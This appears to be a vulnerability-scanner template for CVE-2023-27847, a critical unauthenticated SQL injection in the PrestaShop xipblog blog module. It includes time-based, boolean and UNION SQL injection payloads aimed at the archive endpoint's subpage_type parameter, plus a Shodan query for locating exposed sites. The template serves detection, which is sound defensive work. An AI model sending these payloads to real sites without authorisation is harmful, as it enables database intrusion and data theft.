PrestaShop xipblog - SQL Injection

id: CVE-2023-27847

info:
  name: PrestaShop xipblog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access and data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27847
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27847
    cwe-id: CWE-89
    epss-score: 0.04715
    epss-percentile: 0.90736
  metadata:
    verified: true
    max-request: 5
    framework: prestashop
    shodan-query: html:"/xipblog"
    fofa-query: app="Prestashop"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,xipblog,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: word
        part: body
        words:
          - 'xipblog'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(5)))AuDU)--+lafl HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration >= 5'
          - 'status_code != 404'
        condition: and

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5484--+xhCs HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: word
        part: body
        words:
          - 'kr_blog_post_area'
        internal: true

  - raw:
      - |
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5485--+xhCs HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: blind-based
        dsl:
          - '!contains(body, "kr_blog_post_area")'
        internal: false

  - raw:
      - |
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL--+- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: union-based
        dsl:
          - 'status_code != 404'
          - 'contains(body, "{{md5({{num}})}}")'
        condition: and
# digest: 490a00463044022010449b24603e9a760d397d0e32260297fb80a2aaea464e8487f13660c860a4f202206add4440b7dbfcaaf8805fa0659551bd27785f6abd11b979422ef4b5b1bd0f63:922c64590222798bb761d5b6d8e72950